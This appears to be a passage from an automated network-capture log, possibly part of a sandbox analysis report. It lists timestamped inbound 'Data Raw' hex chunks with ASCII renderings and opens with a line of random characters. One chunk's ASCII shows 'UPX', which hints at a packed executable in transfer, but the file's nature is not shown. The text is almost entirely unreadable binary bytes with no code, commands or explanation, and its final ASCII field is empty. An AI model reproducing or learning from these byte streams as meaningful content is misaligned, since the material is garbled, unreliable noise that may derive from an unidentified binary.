PtreL66c}K\|chTqt.)'BJ[*4+IPIx0{[`^djO05YMg W
2023-06-07 15:08:48 UTC	1582	IN	Data Raw: f4 a0 82 83 b3 d4 a3 48 04 a3 b8 34 8a 51 b7 84 ac ab 90 05 06 2a 5a c3 78 2b ff d0 a8 02 c4 a9 48 97 bd 7c f0 64 62 fa d0 6a c6 40 fe 91 cc 97 72 61 8a 55 01 d5 95 76 21 44 25 2d ff d4 36 10 d0 6b 48 f0 8a 49 01 a5 11 20 05 a2 02 18 75 55 f2 d2 03 04 73 c8 17 14 a3 e8 84 c7 e4 09 11 f8 f0 02 41 83 2d 70 17 56 bf c5 f8 e8 8d f4 d3 0b 7f b9 74 50 0f 8e 0c 7b f8 2e 5d f8 33 26 45 28 f6 c3 7a e2 05 fe c0 03 07 55 4c 18 ff 58 44 98 fc ea d2 99 18 59 18 d1 92 01 40 26 fd fe 10 0a 2b 99 28 1e 50 20 0e 1c e1 4c 98 74 e0 3b d0 e3 ec 75 4c 1e ff 79 2e 9d a3 20 ed 20 db 19 00 64 a2 fd fe 04 be 90 20 99 2f 2d ac 2a 25 d8 8b f8 68 30 b0 1a 13 be 10 1c a3 82 10 1f 77 0c 81 17 b2 79 a8 1f ab 60 c8 27 94 d9 bd 02 83 10 02 0d c8 42 20 14 11 13 0b 30 40 4e 2e 06 05 81 d3 Data Ascii: H4QZx+H\|dbj@raUv!D%-6kHI uUsA-pVtP{.]3&E(zULXDY@&+(P Lt;uLy. d /-%h0wy`'B 0@N.
2023-06-07 15:08:48 UTC	1598	IN	Data Raw: 29 64 e1 c3 b0 36 f4 50 53 dc a5 68 9e 45 43 47 04 dd 39 1b 90 19 26 ba 0f d9 94 39 af d2 d3 1c 93 7a e3 14 8b 2a b2 17 6c ad 27 2d 63 31 7c d1 16 14 87 bc 2c e0 4a 38 34 87 3b c7 30 43 4b 06 85 04 e1 59 85 4b de 96 0b 38 2f b6 78 32 09 45 e0 c2 1f e3 2b 5b 86 0c 82 41 78 ce 72 af 1a 0c 66 50 07 29 d1 db 20 f5 c2 de 3c 88 08 13 7a 67 c1 17 26 ee 55 28 7c 33 0b c9 ea 7e fb 03 17 8d 7f 1d 68 55 fd a5 f5 3b bc 76 30 4c 54 91 38 e0 6c d6 bb 85 b4 2e 4a 03 a0 72 d5 68 5a e0 13 44 33 d4 88 0f b1 6c ff 21 25 50 c2 39 0c 83 76 05 8b 08 88 17 66 3f a0 04 1c e6 5b eb 02 3c fa 0e 90 73 41 c7 3c 08 f9 80 4f 40 24 73 86 91 88 a2 41 e3 0d 13 57 2d 9e f9 44 bd 0c 78 4e ec f7 68 9d e6 ef cc 2a 8b 00 f7 d0 e4 a9 4d 23 95 4d cf 12 e8 0c 0a 6f c0 83 80 c4 44 f7 16 e9 da 16 Data Ascii: )d6PShECG9&9zl'-c1\|,J84;0CKYK8/x2E+[AxrfP) <zg&U(\|3~hU;v0LT8l.JrhZD3l!%P9vf?[<sA<O@$sAW-DxNhM#MoD
2023-06-07 15:08:48 UTC	1614	IN	Data Raw: 4c 5c 4e 51 7b 32 d6 5e dc b0 49 ec 00 d7 14 16 c3 e9 21 db 9b d0 17 05 34 55 d3 b8 be f8 e2 43 89 1a 3a 0c 16 aa 2c 75 25 c0 80 17 88 ba 08 75 e8 53 8d f8 48 0a 2f 66 78 15 cb 70 b0 09 2c 18 57 7f bf 53 bc 24 49 d6 de 98 d0 d1 82 81 37 ed 58 d1 0b 37 19 56 38 75 a7 a5 d5 7c b1 18 7e 9a 31 80 14 75 03 64 48 7e db f2 a5 1b e2 7c 11 7e e6 59 d7 eb 2a 9b 77 d0 1c 11 d8 be f2 5c d8 0a 0e 75 2e ba 44 bc 0a d0 07 96 c3 19 18 9c fb b2 5c 74 a1 bd 39 30 96 4c c3 61 c8 3e a4 4a 00 01 5d f8 ae e1 c3 52 82 52 65 e3 41 45 20 53 a9 b8 0e 1c f9 a0 6b 20 75 21 6a 01 c5 25 17 c3 09 eb 64 63 5e 3b 2d 9b 58 2f 97 61 30 e2 1c e9 49 7c 61 98 9c 5b c3 23 28 69 21 67 fb 3c 38 84 21 6d 63 75 4e 66 38 38 6c 4d 75 e8 7c 40 3e b8 13 26 c7 6d 1c 06 90 ab e4 d0 f3 de 13 4e 06 42 1f Data Ascii: L\NQ{2^I!4UC:,u%uSH/fxp,WS$I7X7V8u\|~1udH~\|~Y*w\u.D\t90La>J]RReAE Sk u!j%dc^;-X/a0I\|a[#(i!g<8!mcuNf88lMu\|@>&mNB
2023-06-07 15:08:48 UTC	1630	IN	Data Raw: 20 5c 1e a6 0a 9f 1a 8d b7 c7 0e 68 3b 0a bd 74 05 05 8f e3 87 5d 92 91 f1 50 74 09 cf 1a 1d c8 10 9b 60 2c 87 bf 01 1e dc 27 c8 88 cb 5e 64 87 06 e3 c1 08 07 72 f0 e5 72 15 80 dc 80 b3 9b f9 8d 6c 55 16 a0 f9 4e ff ff ff 6c 70 14 0b 70 30 b0 1c d7 54 fb 70 1f 1e 5d 37 66 18 ed 79 0a c1 e9 80 34 0d b8 fb 64 3c 70 d3 8d 4c 84 4c ab 62 6c 46 2e 90 a3 c4 d7 5d 88 70 f0 03 0c 0c 50 38 4b 41 f9 21 e4 01 ab 00 db 43 59 89 5c f5 d1 c2 2a d9 53 9d 76 64 90 ec 1d 14 48 a9 60 46 e8 5e 24 47 59 75 1f d7 20 5d 77 09 18 5e ef 42 24 42 c1 6a 01 eb a5 ab ad cb a9 d3 86 3c d6 f1 07 32 d2 62 64 ff 77 d0 7c 92 55 f8 34 97 fd 7c 10 72 5d 4d b0 52 05 5b 5e 50 0a e9 54 95 cd 01 4d 5f 28 b3 59 5f 93 ba 02 05 d0 5d 28 fa fc f6 61 a1 69 ca d8 e9 1d 01 74 1c 89 e8 2a 5d 21 21 1f Data Ascii: \h;t]Pt`,'^drrlUNlpp0Tp]7fy4d<pLLblF.]pP8KA!CY\SvdH`F^$GYu ]w^B$Bj<2bdw\|U4\|r]MR[^PTM_(Y_](ait]!!
2023-06-07 15:08:48 UTC	1646	IN	Data Raw: b7 f8 08 17 5e 08 c1 e0 db 71 04 f7 21 01 c8 64 c0 cd f6 90 a0 1e f8 53 b5 d8 46 c1 68 94 85 30 c2 fa 07 00 6d 27 15 0c 10 06 02 10 36 70 65 10 d3 d8 c2 87 ce c8 70 17 ce 79 4b 73 61 de 25 a9 98 41 e9 00 03 7d 41 0c 35 af 45 85 77 69 4c 34 a1 10 2d 53 46 ea 3c 27 20 4d 96 e7 41 a2 db 54 3a 10 5a d8 c0 04 df e1 18 91 99 25 e7 68 f0 22 f4 0d 8b 95 4a 8b 20 40 d5 4d 12 d9 06 f2 5d d4 23 86 10 96 ac 97 49 ac 71 23 70 07 ea 82 b5 02 7b ab 80 9d 8a 94 99 75 a4 6c 44 ec 0c da df 4b 28 0b 97 2c c9 3a 09 45 68 50 2f ab 25 88 70 fe a3 1e 34 15 83 75 cc 0f 86 0a 28 d0 19 34 0a 4c 38 06 da af 5f 1b 29 04 43 34 7e 30 e5 69 13 91 df 51 14 34 57 06 2a 29 5c 42 44 aa df 6d 0d 09 b6 ce 6a 48 0a eb 3f dc 89 fd 22 39 53 04 76 1d 67 33 c9 1e b2 50 42 3b 09 68 3d 6f 38 72 e3 Data Ascii: ^q!dSFh0m'6pepyKsa%A}A5EwiL4-SF<' MAT:Z%h"J @M]#Iq#p{ulDK(,:EhP/%p4u(4L8_)C4~0iQ4W*)\BDmjH?"9Svg3PB;h=o8r
2023-06-07 15:08:48 UTC	1662	IN	Data Raw: 5c 2f fb 40 66 e4 48 01 83 51 3e eb 84 92 90 8c eb 93 ec 37 28 c6 c6 f7 48 8a f0 2c 53 f6 2b f2 03 10 e0 c6 61 14 b6 51 dc 1c 05 1f 19 df 4c c7 28 0b 46 e2 46 14 74 2c ec 14 84 52 77 e1 25 40 c0 e4 a4 6a 50 ca ba 0d 24 8c 40 13 56 2c 09 a7 f0 ea e5 6c ff 37 ea 50 46 17 26 57 93 44 42 05 f8 09 1b 6b 1e 50 d7 cd 92 fe bd 35 15 0a e9 59 c8 46 85 0d a7 d1 2f a4 8f 1a 32 e7 b8 6a 24 8f 06 0e 00 e4 c6 07 85 b9 25 00 a7 33 02 9e 8a 86 21 83 fb 24 98 d2 7d 02 1b 40 c8 d2 d1 06 a3 2f 3b 69 6e 4f cc 15 c8 0c cc da d2 9c 34 b7 15 d0 14 d4 18 26 cd 49 73 d8 1c dc 20 c4 d2 9e 14 02 1a 24 34 70 6c d3 f3 01 84 45 9f d0 48 92 c2 dc 24 36 f0 07 28 74 18 51 52 da 48 3d a6 bd bc 8d f9 fb 3b c2 4c 01 7f 5a 97 6b d1 b3 b5 76 70 f8 08 ef 7c 2c 30 59 9e b8 39 48 d0 9d 22 50 a6 Data Ascii: \/@fHQ>7(H,S+aQL(FFt,Rw%@jP$@V,l7PF&WDBkP5YF/2j$%3!$}@/;inO4&Is $4plEH$6(tQRH=;LZkvp\|,0Y9H"P
2023-06-07 15:08:48 UTC	1678	IN	Data Raw: dd 82 b2 57 69 01 d8 21 2c 50 7c a3 4d 63 eb 2b 84 12 41 78 f8 79 0e 79 be 1b 88 74 8c 70 79 0e 79 0e 90 6c 94 68 79 0e 79 0e 98 64 9c 60 79 0e 79 0e a0 5c a4 58 79 0e 79 0e a8 54 ac 50 79 0e 79 0e b0 4c b4 48 79 0e 79 0e b8 44 bc 40 79 0e 79 0e c0 3c c4 38 79 0e 79 0e c8 34 cc 30 79 0e 79 0e d0 2c d4 28 79 0e 79 0e d8 24 dc 20 79 0e 79 0e e0 1c e4 18 79 0e 79 0e e8 14 ec 10 79 0e 79 0e f0 0c f4 08 6b 0e 79 0e f8 04 fc 01 18 6b e1 97 29 4a 45 bc 72 69 7c d0 c4 f4 40 f0 04 29 6d b0 a6 25 f2 8c 31 36 09 c6 b1 7d ad cf bb 38 10 40 f3 d2 4a 06 3c 2e 9e cd f3 3c 20 12 04 dc f6 e8 79 9e e7 79 da cc be b0 a2 e7 79 9e e7 94 86 78 6a 5c 9e e7 79 9e 4e 40 32 24 16 08 3c cf f3 6c db fa ec de d0 c2 10 03 cf f3 b4 a6 9c 3f 3d 0b 45 4d d8 d4 56 57 98 11 00 be 4c de 9c Data Ascii: Wi!,P\|Mc+Axyytpyylhyyd`yy\XyyTPyyLHyyD@yy<8yy40yy,(yy$ yyyyyykyk)JEri\|@)m%16}8@J<.< yyyxj\yN@2$<l?=EMVWL
2023-06-07 15:08:48 UTC	1694	IN	Data Raw: 13 2c a7 18 f1 50 47 c0 c8 02 f4 46 c0 92 34 3a 50 d6 e0 c3 e0 a0 80 5c 02 13 5b d4 cd 1a 04 0c 8b f4 c0 ce d1 e9 8a 12 f4 80 b4 2b d1 00 6a b0 e8 c1 a1 3f 83 83 3b 65 24 95 98 e0 7c dd 48 48 16 1e dc e9 59 ba 52 e9 54 03 50 0a 76 61 5a 81 88 aa 54 18 eb 22 b1 57 6b d9 f8 42 6a fe 48 6b c0 48 39 40 dd 2d e0 03 fb a0 87 00 09 f4 a2 35 58 05 c4 d5 38 93 79 1f 5f db 76 42 98 33 d6 10 82 46 1a 22 de 01 e9 7b c1 35 3b f7 84 83 6d 24 11 40 3a dd 36 b0 a2 56 d5 ab 58 48 2d 43 2a 52 66 b0 8d d0 d4 5e c1 8d 80 45 07 f0 83 bd 4c 46 03 71 41 03 d8 06 c0 3c 59 8c 17 30 ec 9b 4e 01 36 4a e8 04 44 ea db b6 db 81 ba c0 81 9a 03 b3 0e 18 c0 43 46 03 c8 57 03 c0 24 7e 2b c8 f6 46 01 f7 67 7a fc e1 74 21 48 6a 09 03 db 40 37 8d 53 b0 8c 67 ab 07 46 32 19 99 a4 c1 50 bc a8 Data Ascii: ,PGF4:P\[+j?;e$\|HHYRTPvaZT"WkBjHkH9@-5X8y_vB3F"{5;m$@:6VXH-C*Rf^ELFqA<Y0N6JDCFW$~+Fgzt!Hj@7SgF2P
2023-06-07 15:08:48 UTC	1710	IN	Data Raw: 1d 80 68 6c 0b 4f b0 48 48 9c 0d ba e0 07 29 e8 0a 04 c4 3b 61 35 21 bd b8 98 da c1 44 08 f8 63 0c f8 3b ce 77 1e f1 19 d0 5f cd 8a 04 3b 2b f1 4e ab f0 db d0 b6 85 25 f4 88 20 eb 6d ba b3 21 34 e8 ce 50 3a 91 21 6b c8 9f 02 02 8e d4 34 46 db c3 96 f2 84 ce 72 cb 23 30 56 5d bb af f0 17 e4 8d 1c 0a 2b c8 ba e6 5e c0 80 3a ed bb e2 8a 1c 3b 61 f3 a8 e8 a0 48 c0 63 d8 1c 38 46 51 18 3a 02 05 5e d7 90 a1 49 6b 3f 52 f8 3d d3 e2 09 99 8b 5e 3c f4 8d 78 f4 4a 9c 08 9a 4c 4e 93 0b 21 f9 05 7c 68 bf 0b 9a a9 f3 92 ba b3 3a 03 d2 45 cc 3d 74 e2 5d 57 65 a8 68 cb 0b 7f 18 81 be e6 3b c8 ca bf 83 fd 05 d4 68 cf 0b 81 68 50 ac a5 90 cf 44 3e a2 82 3f a6 a4 ae 95 c3 03 d9 03 d4 3a f0 c8 85 53 53 f6 7a 81 1b fc 6b e5 c9 0b 90 db d2 75 25 53 39 f0 68 ab b9 90 92 d9 e7 Data Ascii: hlOHH);a5!Dc;w_;+N% m!4P:!k4Fr#0V]+^:;aHc8FQ:^Ik?R=^<xJLN!\|h:E=t]Weh;hhPD>?:SSzku%S9h
2023-06-07 15:08:48 UTC	1726	IN	Data Raw: b2 be 1e 82 1e 01 55 13 12 50 03 58 8a 86 46 68 68 09 50 48 c0 cb db 58 c2 57 46 04 74 0d 60 e2 0f 90 89 75 7e 8a 05 bb 30 24 79 e0 9e 57 2e 07 48 e0 00 43 e9 20 0d 44 9e 1f 1b c2 74 76 f8 f2 2b 9e ea f8 6a 21 7d b0 4d 46 46 f0 8a 96 ae b1 45 1d fa 21 11 a7 9f 06 6d 42 f8 66 cc d6 b0 bf 62 0b 6a 02 25 e4 94 30 58 c1 c0 aa 00 55 42 05 9e 29 62 02 ef 06 bb 0b 48 42 6c fb 8e 65 07 11 48 60 1d 4d 29 8b 00 58 54 8f ab 66 14 be 67 f6 80 37 40 9e 2d 06 17 24 f4 74 1a 78 6a 81 15 2a b6 05 79 61 54 e6 9d 69 28 c1 84 03 56 80 15 62 68 c4 c1 82 48 dd 36 77 18 bf 3f 44 4b 38 1d 7a f5 75 43 3e f3 9a 2d 37 14 01 99 84 d9 a0 f1 b4 30 29 e2 69 ff 83 05 77 0b 75 0d 14 f0 01 e6 7e bf 84 2b 8a c3 a2 76 f4 c6 05 83 1e 14 48 b2 dc 05 a0 1b 16 00 0c ab f0 b8 53 fc 86 da 25 00 Data Ascii: UPXFhhPHXWFt`u~0$yW.HC Dtv+j!}MFFE!mBfbj%0XUB)bHBleH`M)XTfg7@-$txj*yaTi(VbhH6w?DK8zuC>-70)iwu~+vHS%
2023-06-07 15:08:48 UTC	1742	IN	Data Raw: 3a d4 45 29 1e 3b c2 36 bc 45 77 e0 3b eb 53 db 3c 8a b9 57 e0 12 92 90 c8 c0 93 44 83 87 4c e0 2a f3 0e 97 17 86 8a 78 30 ee d6 c5 9f 81 30 40 a9 f5 18 4c fd 43 8a 02 93 00 00 75 1b 8a 46 69 c3 49 68 be 9e 9d 08 d3 11 27 26 cd 37 e0 d2 22 f0 c4 06 eb 3b 43 70 43 06 9e 48 3e 51 4f a4 64 36 f1 8a 50 09 2c ed fb ae 89 f7 52 79 d4 74 89 02 79 c2 4e 02 d2 8f 6d 2e 96 8c c6 31 3e 2d 1b c1 50 40 84 a3 11 5f 34 22 17 c4 fe 57 f6 11 53 5d d2 fd c7 41 14 8a e8 38 d8 fe 7f dc 65 10 8a 55 0c 38 70 08 75 36 38 ee 75 31 0b 81 c4 05 13 b9 4a 74 55 34 39 10 8b 3a 7b f6 5d 97 77 1c 88 74 96 88 76 0a f0 77 09 98 a7 0f 20 83 49 41 d0 0a cb 0a 79 4d 00 c7 00 77 52 fa b3 64 41 be e9 c1 fa 02 70 f8 a0 de ea d5 f0 67 02 68 06 3e 2f ef 03 ef fb 5e 38 fb e2 2b ce 12 04 31 d8 06 Data Ascii: :E);6Ew;S<WDL*x00@LCuFiIh'&7";CpCH>QOd6P,RytyNm.1>-P@_4"WS]A8eU8pu68u1JtU49:{]wtvw IAyMwRdApgh>/^8+1
2023-06-07 15:08:48 UTC	1758	IN	Data Raw: a1 20 61 95 23 f1 a1 6d 2c 80 28 3c 30 1b a2 09 d8 fd 21 7d dc 46 50 76 49 38 8b 32 cb c8 8e 94 00 03 d1 ee e6 03 4b 30 33 d4 0a d0 76 2d 11 bf 32 ed 00 63 1a 23 9b 72 8e 90 dd 76 69 22 50 ec 8e 8c bf 12 ca 6b 73 20 00 e0 b5 81 fa 26 a1 11 40 74 d9 27 a6 70 c2 92 00 72 20 0f 6b 01 1a 6b de 8b 3b 75 c0 c0 4b ed 3c 38 62 77 3a 24 a4 7f 01 4e f7 65 d4 0f be 3f e7 01 58 3f 9c b8 83 ef 30 0b 24 a0 fe 90 8d 03 ac cf 13 d6 0a 02 0c 8e 48 4a bc ac fb 67 4c 0b d8 30 7d 8f e9 47 87 31 fe 78 dd 0b a2 7c fb 4a 0e 46 3d 28 80 81 20 be 30 a4 84 e4 ab 65 7c 04 e4 c6 8a 16 b8 fa 30 ed 82 83 db 7c 35 08 39 77 30 15 38 07 75 37 1c 38 ef 77 6b ff 77 32 8d 70 01 6b c9 0a 64 00 4a 83 c0 d0 68 03 c8 47 6b 26 24 f8 0e 42 68 7d cb d2 23 29 9b 91 a5 8b ea 7f 08 12 14 d2 64 76 76 Data Ascii: a#m,(<0!}FPvI82K03v-2c#rvi"Pks &@t'pr kk;uK<8bw:$Ne?X?0$HJgL0}G1x\|JF=( 0e\|0\|59w08u78wkw2pkdJhGk&$Bh}#)dvv
2023-06-07 15:08:48 UTC	1774	IN	Data Raw: 64 75 a2 e5 3b f9 2d 70 81 f2 2e 6a f0 26 15 1d fb bc 46 68 ba 3c 3d a0 13 ef 1a 05 a7 df 00 a7 0e e4 68 71 e7 07 db 9e 66 6b 5e 07 20 ca e5 2e 63 f8 c1 e4 d9 1b d6 41 63 e0 42 3f 77 1f b8 87 15 09 76 20 07 a4 0e c8 78 f6 c1 e5 07 57 68 5c dc 58 e9 54 ae cc 70 fa ee 82 e3 c1 37 c2 83 0f 9f 78 60 ce ba 6f bb 78 d0 01 4e 02 a7 ec f5 28 de 87 45 35 1e 01 6f 8a c6 6f 95 03 ab f7 c3 ac aa ec 30 1d 38 5d 61 ec cd a0 ca 60 a1 7c b5 7f 50 26 c3 e7 c4 f7 3e e0 75 e2 cd cf 49 09 2e 05 18 93 bc 6a c2 20 40 60 3a 7b c7 dd 04 0f b9 08 1b e1 41 21 25 c0 fc 11 16 a1 ad 17 66 24 19 03 a4 08 89 30 18 21 18 48 67 23 88 10 10 1f cf 03 84 f7 d5 08 19 1c 96 24 7e 20 4c 11 1e 58 19 2a 23 18 73 10 61 22 1b ca 23 18 96 47 68 6e 28 8b 7d 74 28 2b fd 7e aa e5 11 23 18 0a b3 61 fc Data Ascii: du;-p.j&Fh<=hqfk^ .cAcB?wv xWh\XTp7x`oxN(E5oo08]a`\|P&>uI.j @`:{A!%f$0!Hg#$~ LX*#sa"#Ghn(}t(+~#a
2023-06-07 15:08:48 UTC	1790	IN	Data Raw: 88 3d 2e de b6 7c 4b 88 d6 1a 6f 30 2a e2 30 f4 1f 6c 67 40 33 11 77 50 83 c7 60 87 06 81 5e af 79 bf 0b f0 34 8d 0b d6 44 61 d6 6a c3 6a 21 84 77 1b 44 ab a7 8d 08 7c 63 85 03 14 d0 2c 03 27 76 10 8b a0 22 8e 40 da 4c 8b c7 9b 07 28 45 b8 c2 34 b1 c8 b1 c5 c2 47 11 31 c2 83 91 b5 8b b8 36 c4 8d 47 de 23 91 31 b4 49 c3 41 94 9c 82 6f 50 a7 29 62 0d b9 40 06 82 1b 76 00 98 ac 96 80 f1 ca f1 4a ea 5e d2 80 1d da 3f 00 23 e1 67 c4 c9 6d cb c0 97 85 16 8d 04 8d 19 19 d0 19 a3 90 57 a6 80 d6 1a 9e 2a d5 60 20 b9 64 08 41 94 4a 82 25 21 c0 ea 28 49 e8 b5 d4 20 e8 a3 c3 18 2c 30 30 41 51 49 3f 93 74 03 18 16 2a 1d 71 c0 09 fe c6 f1 03 3f b3 80 79 b6 e0 0c 3e ae b0 68 75 c8 03 85 07 e4 8b 0f d5 11 00 e9 7a ff 62 96 60 0c 22 24 64 09 53 cc 41 ed 90 fd d0 82 c5 9f Data Ascii: =.\|Ko00lg@3wP`^y4Dajj!wD\|c,'v"@L(E4G16G#1IAoP)b@vJ^?#gmW` dAJ%!(I ,00AQI?t*q?y>huzb`"$dSA
2023-06-07 15:08:48 UTC	1806	IN	Data Raw: fb 83 80 25 4e af d5 45 f0 24 a4 bf 9a 25 32 53 e6 70 c4 9c b2 6d ef a0 0f c8 d2 2a 0a f2 22 c3 c9 b4 12 72 df 12 c0 78 4f de 06 66 0c 33 29 b3 18 1f 74 93 92 d9 72 4a 84 1d 58 9a bf 78 c9 66 89 42 06 33 c0 ff 6b 70 cf 0d 03 20 d7 4b ed f8 d7 58 c6 d3 9c 60 01 80 a9 cf 86 67 83 b2 58 30 e8 f0 65 e0 f1 cd f0 c0 47 6b ef e0 b0 69 fe f4 7e 02 13 bd ef d9 f9 1c d5 c3 f3 3a 70 98 e4 54 d7 14 fb d3 b2 c6 f2 3c 4f f4 f1 f0 e1 70 78 f8 58 48 72 e6 11 db 82 8e dc 60 d8 bb cc 8d fa 6b f4 6f 68 47 1e cc 35 fe f8 26 00 b3 ef f5 c8 c3 e7 79 10 e7 f9 d5 c6 ac df 86 87 3d 2e 38 45 f9 5d 9a 01 b1 3c 3c 20 e2 e0 2e aa c6 0d 01 52 81 a5 28 aa 3c c1 2d 80 f8 45 57 01 6b a4 29 68 6a b2 00 9a e7 79 74 29 6b d6 d0 d6 48 0b 68 21 79 5a 24 62 5b 22 2c 21 3d 74 1a 2c 1d 16 7e c6 Data Ascii: %NE$%2Spm*"rxOf3)trJXxfB3kp KX`gX0eGki~:pT<OpxXHr`kohG5&y=.8E]<< .R(<-EWk)hjyt)kHh!yZ$b[",!=t,~
2023-06-07 15:08:48 UTC	1822	IN	Data Raw: ef 1f 98 02 67 3b 4d d0 7d 16 a9 20 74 07 76 9c 3e 38 82 ca 0e 6d e9 09 b8 a5 1a 10 24 1c 4b 26 69 75 07 b4 05 4f 0b cf b0 0c b0 4e ac 45 63 71 26 57 a6 e2 dc 43 23 6d dc 4c 96 c3 6a 3c 87 02 17 a4 b2 75 40 9c a3 75 0f 3b b9 4e 10 12 80 04 86 19 11 1d ca 36 52 72 26 2d e6 4d 40 8d 81 43 3b bc 3c 5e f3 b6 0f b1 eb ac 02 08 94 85 68 df 62 16 04 5c 99 61 c0 b0 21 40 cc 97 29 2c 95 61 f0 28 34 75 7a fd 8e 34 ef 1c ff 2e da 38 09 82 16 ac 34 71 1f 11 1d ba 36 a5 c4 f7 2c 30 72 13 80 43 3c d6 f1 d2 6e d1 00 2f 29 2a e2 91 06 e5 f8 16 8e 68 58 d4 79 08 2d 7a 11 a5 07 28 11 b4 62 a3 5c 52 57 25 01 80 35 0c 2c 48 4d 80 c1 5e 0f a4 aa 26 dc e6 7d e8 83 41 1e 34 86 74 74 42 5c b7 dd 29 0e 52 56 67 61 f0 5a f8 91 80 a1 88 1d 0a d4 ac 34 1c 02 38 5c fe 7d e2 fe 80 33 Data Ascii: g;M} tv>8m$K&iuONEcq&WC#mLj<u@u;N6Rr&-M@C;<^hb\a!@),a(4uz4.84q6,0rC<n/)*hXy-z(b\RW%5,HM^&}A4ttB\)RVgaZ48\}3
2023-06-07 15:08:48 UTC	1838	IN	Data Raw: f3 ba 0b 1c 83 40 32 25 c8 fd cf 6d 82 6e 03 bc 7d d8 41 ac d7 c3 40 b0 a5 3d cd c9 81 c2 cf ca 55 82 c7 32 27 37 5d c2 41 c6 b4 81 c3 ca b0 34 c1 d8 5e d2 fb 54 bc 50 30 29 48 b8 07 7e 23 30 24 78 f6 bc 5a fb 11 00 07 82 4c 29 0a 33 ed 13 a8 81 18 c0 19 90 c3 c7 13 c9 0f de 4c 93 13 ec 81 c6 e8 1f 6c 35 64 c7 1b 4e 55 e4 95 4c 5c 64 eb 19 66 41 d3 04 86 8e fe 04 c0 a4 22 b6 e5 21 e1 d1 c1 a1 2c b8 19 ce 10 b1 e0 fc 38 cf 02 16 c1 58 e9 4a cc 55 b4 04 85 6d cd 38 08 c4 04 d4 d1 f0 ae 04 f6 19 ce 76 50 66 f6 d1 23 76 7f ac 49 2c b0 68 4d 0c fd 58 c2 2a e6 03 d3 f8 ca 33 5d b8 1f b6 b8 a6 04 c8 c0 c8 c6 78 97 15 02 20 c1 d1 c3 65 6c f4 03 04 e0 49 58 3b a0 fd e8 68 aa de 66 bc 06 45 cc 04 c4 b8 63 70 ef 86 d1 66 dc 98 68 2f dc ec 04 35 d9 b8 55 ae ee 4a 12 Data Ascii: @2%mn}A@=U2'7]A4^TP0)H~#0$xZL)3Ll5dNUL\dfA"!,8XJUm8vPf#vI,hMX*3]x elIX;hfEcpfh/5UJ
2023-06-07 15:08:48 UTC	1854	IN	Data Raw: 60 55 40 18 78 e3 da 80 a5 08 80 1f 92 cb 5c df 22 ec 5f f4 10 9e 88 10 6b f8 15 de b3 c3 56 00 4d 43 90 af a7 17 16 37 8c cb 24 90 64 90 df eb 53 34 83 ca ff 2e 6b 82 53 78 e3 36 1c bb 35 13 9a 8d 26 96 04 ef 59 e5 14 29 c1 24 5b 64 e7 44 67 e0 1d c9 bd 72 02 52 40 e0 30 e1 9f 8f 72 d1 cf 8a 6c 83 7f 66 56 65 dc 4a 19 87 76 68 2a fd 2e 67 79 cc 55 1f 38 d4 1a 90 97 cd 2c 10 21 de 98 2a 9d d0 2c 53 bc 79 0b 8d 52 c6 cd 4d b8 87 90 0e a7 c3 fc 11 b1 0e 2e aa 50 82 bd 31 b3 78 a6 7c 7a 3d bb 32 be 8f 1f 14 a1 07 32 4e 5c fb 54 0f 41 0b 98 e1 f8 0a 78 d3 a7 30 58 59 10 31 ca 44 41 b4 86 90 ad 59 11 68 e1 85 b3 8c 67 f5 b9 67 07 d5 92 d5 11 f2 32 23 ff 27 24 8e 1b 24 33 48 3b 47 5c 75 17 81 7f 5c fe 11 48 5d 4a 2c 2d ad 28 46 0e 2e 46 2e 1f 21 5b c7 45 88 74 Data Ascii: `U@x\"_kVMC7$dS4.kSx65&Y)$[dDgrR@0rlfVeJvh.gyU8,!,SyRM.P1x\|z=22N\TAx0XY1DAYhgg2#'$$3H;G\u\H]J,-(F.F.![Et
2023-06-07 15:08:48 UTC	1870	IN	Data Raw: 65 ae b5 0f 85 9c 74 d2 42 0d 8d ec 88 49 17 ee c7 a4 66 2b cb 81 c1 e5 65 8e 15 85 e0 2b bd 90 0f ca 8f 2d 99 f0 c0 c2 29 d8 25 9a 2a 9a d1 86 d2 74 ac 8a c8 a8 e8 8b 63 f8 a1 a8 87 bd 5d 95 a8 ce de bd 8f 57 33 db 01 3d d4 fb 1a 79 5e 08 c8 f5 53 88 5f 10 e3 f9 ff 0d ec b5 b3 1e 6c c0 51 31 e6 d2 96 41 3e ef 7c b8 6e 9d 13 b9 56 72 c7 8f 67 f8 1a 2a 01 8b bb c1 eb 21 d2 06 52 69 96 c0 ce 64 85 d1 87 2b 78 75 79 4a 98 41 c9 18 2f 7a e1 0f fb 81 e9 fc 31 c6 1c 25 25 5a be 89 43 89 3d d4 f5 10 7d bc 8e 6a fd 8b 83 ef 10 0c 6a 1a 40 f0 c0 74 0f 58 e0 2f 8d 78 21 51 4b 32 8f fb a7 d3 91 0e 0a 1b e4 fc 6a d2 82 03 06 bb a9 5c 03 a6 ac 93 fc cb 7f 6e 80 39 bc 8c 30 33 ff c6 89 9d 68 30 20 0f 38 80 44 36 a9 40 b5 01 70 40 f1 3e 1f 60 12 a9 18 29 08 ac 8e 77 1e Data Ascii: etBIf+e+-)%tc]W3=y^S_lQ1A>\|nVrg!Rid+xuyJA/z1%%ZC=}jj@tX/x!QK2j\n903h0 8D6@p@>`)w
2023-06-07 15:08:48 UTC	1886	IN	Data Raw: dd c6 53 b0 b0 e1 5e 80 70 c8 e3 bd c8 50 c9 51 45 c7 62 c9 10 0a 31 61 27 f6 48 ec 69 c9 d7 01 95 62 92 34 b2 f4 f8 0f 47 fe ea 32 a6 4c 6c b8 75 4c 69 4f 7b 24 02 8b d8 96 b0 b4 08 2c 68 65 8b b1 1d 61 8e 9d 29 2d 3b d8 2a 57 70 22 38 5b 0e d3 fa cc 90 30 a3 c0 ae 5d b8 d5 94 ae 50 92 32 b6 96 04 aa 21 07 88 19 e0 06 ed 10 1c 34 18 06 98 5e 32 01 2d 61 1d 90 0c b8 96 01 ed df 9e af f4 8a 75 c7 2b c7 01 7d b8 04 b4 29 19 48 75 7a 84 ea e0 c2 c2 bf 2e 4d d7 2b c8 12 06 49 e0 4b b0 0c 3a d6 00 b1 49 ed 8e 9f 4b 8a 6d 32 cb 84 ed 4c 6a 11 60 9c 6d 34 ee 8f 08 fe 7f 3b d6 73 5b fe c1 88 5c 15 c8 3a cd 72 ea d5 75 27 49 24 3e 05 34 1d 1d e8 59 d6 b6 1e 61 ff 3f 06 46 11 47 5c 41 f3 18 8b 13 04 3f 04 0a 27 02 dc 24 c3 1d a1 40 99 0b 8d 5d ec 04 3a 18 d2 d7 24 Data Ascii: 